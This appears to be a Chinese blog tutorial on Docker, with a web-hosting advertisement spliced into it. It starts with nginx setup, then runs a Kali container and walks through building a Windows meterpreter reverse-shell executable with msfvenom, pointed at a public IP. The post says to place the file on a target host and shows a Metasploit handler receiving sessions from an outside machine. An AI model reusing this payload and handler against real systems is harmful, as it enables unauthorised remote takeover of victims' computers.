wget https://mirrors.ustc.edu.cn/docker-ce/linux/centos/docker-ce.repo -O /etc/yum.repos.d/docker-ce.repo
yum clean all; yum makecache fast --重新刷新yum源
yum -y install docker-ce
systemctl restart docker
systemctl enable docker 開(kāi)機(jī)自啟
docker search nginx 搜索
docker pull nginx 安裝nginx
docker run --name web1 -d -p 80:80 nginx
--name :表示啟動(dòng)的名字
-d: daemon,守護(hù)進(jìn)程
-p:設(shè)置映射端口
驗(yàn)證頁(yè)面,輸入網(wǎng)址即可訪問(wèn)
創(chuàng)新互聯(lián)建站專注于企業(yè)成都全網(wǎng)營(yíng)銷(xiāo)、網(wǎng)站重做改版、明山網(wǎng)站定制設(shè)計(jì)、自適應(yīng)品牌網(wǎng)站建設(shè)、H5場(chǎng)景定制、商城建設(shè)、集團(tuán)公司官網(wǎng)建設(shè)、外貿(mào)營(yíng)銷(xiāo)網(wǎng)站建設(shè)、高端網(wǎng)站制作、響應(yīng)式網(wǎng)頁(yè)設(shè)計(jì)等建站業(yè)務(wù),價(jià)格優(yōu)惠性價(jià)比高,為明山等各大城市提供網(wǎng)站開(kāi)發(fā)制作服務(wù)。
對(duì)頁(yè)面進(jìn)行修改:
docker exec -it web1 /bin/bash 進(jìn)入容器
root@3e93e119b79c:/# cat /usr/share/nginx/html/
50x.html index.html
root@3e93e119b79c:/# echo "<h2>test nginx page<h2>" > /usr/share/nginx/html/index.html
使用exit退出,這時(shí)刷新之前的網(wǎng)頁(yè),nginx的歡迎頁(yè)面就變成上面修改的內(nèi)容了。
先搜索
docker search kali
安裝
docker pull booyaabes/kali-linux-full
使用
[root@vultr ~]# docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
booyaabes/kali-linux-full latest 4bffca040c1c 6 hours ago 8.31GB
nginx latest bc26f1ed35cf 16 hours ago 109MB
[root@vultr ~]# docker run -it 4bffca040c1c
root@c5785446988a:/# cat /etc/os-release
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2018.4"
VERSION_ID="2018.4"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
直接使用即可。
如果需要監(jiān)聽(tīng)端口,實(shí)現(xiàn)連接反彈shell
docker run -p 4444:4455 -it booyaabes/kali-linux-full
使用docker映射容器4455端口到local上的4444端口
[root@vultr ~]# docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
8612e672d5db booyaabes/kali-linux-full "/bin/sh -c \"/bin/ba…" 2 minutes ago Up 2 minutes 0.0.0.0:4444->4455/tcp hungry_goldberg
[root@vultr ~]# docker attach 8612e672d5db 進(jìn)入kali容器之中
制作payload(使用本地的kali制作payload)
root@kal:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=149.248.8.210 LPORT=4444 -f exe > test.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
將exe文件放到目標(biāo)主機(jī)上
在kali容器中運(yùn)行msf
[root@vultr ~]# docker attach 9b2fcb0c1d21
root@9b2fcb0c1d21:/# msfconsole
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
=[ metasploit v4.17.14-dev ]
+ -- --=[ 1809 exploits - 1030 auxiliary - 313 post ]
+ -- --=[ 539 payloads - 42 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 149.248.8.210
lhost => 149.248.8.210
msf exploit(multi/handler) > set lport 4455
port => 4455
msf exploit(multi/handler) > run
[-] Handler failed to bind to 149.248.8.210:4455:- -
[*] Started reverse TCP handler on 0.0.0.0:4455
[*] Sending stage (179779 bytes) to 42.90.91.248
[*] Meterpreter session 1 opened (172.17.0.3:4455 -> 42.90.91.248:11526) at 2018-09-26 09:39:23 +0000
[*] Sending stage (179779 bytes) to 42.90.91.248
[*] Meterpreter session 2 opened (172.17.0.3:4455 -> 42.90.91.248:11528) at 2018-09-26 09:39:25 +0000
meterpreter >
這樣就拿到了反彈shell
docker借鑒學(xué)習(xí):https://yeasy.gitbooks.io/docker_practice/image/
文章標(biāo)題:docker使用教程
分享網(wǎng)址:http://www.rwnh.cn/article40/ihjgho.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供響應(yīng)式網(wǎng)站、品牌網(wǎng)站設(shè)計(jì)、關(guān)鍵詞優(yōu)化、手機(jī)網(wǎng)站建設(shè)、全網(wǎng)營(yíng)銷(xiāo)推廣、網(wǎng)站策劃
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)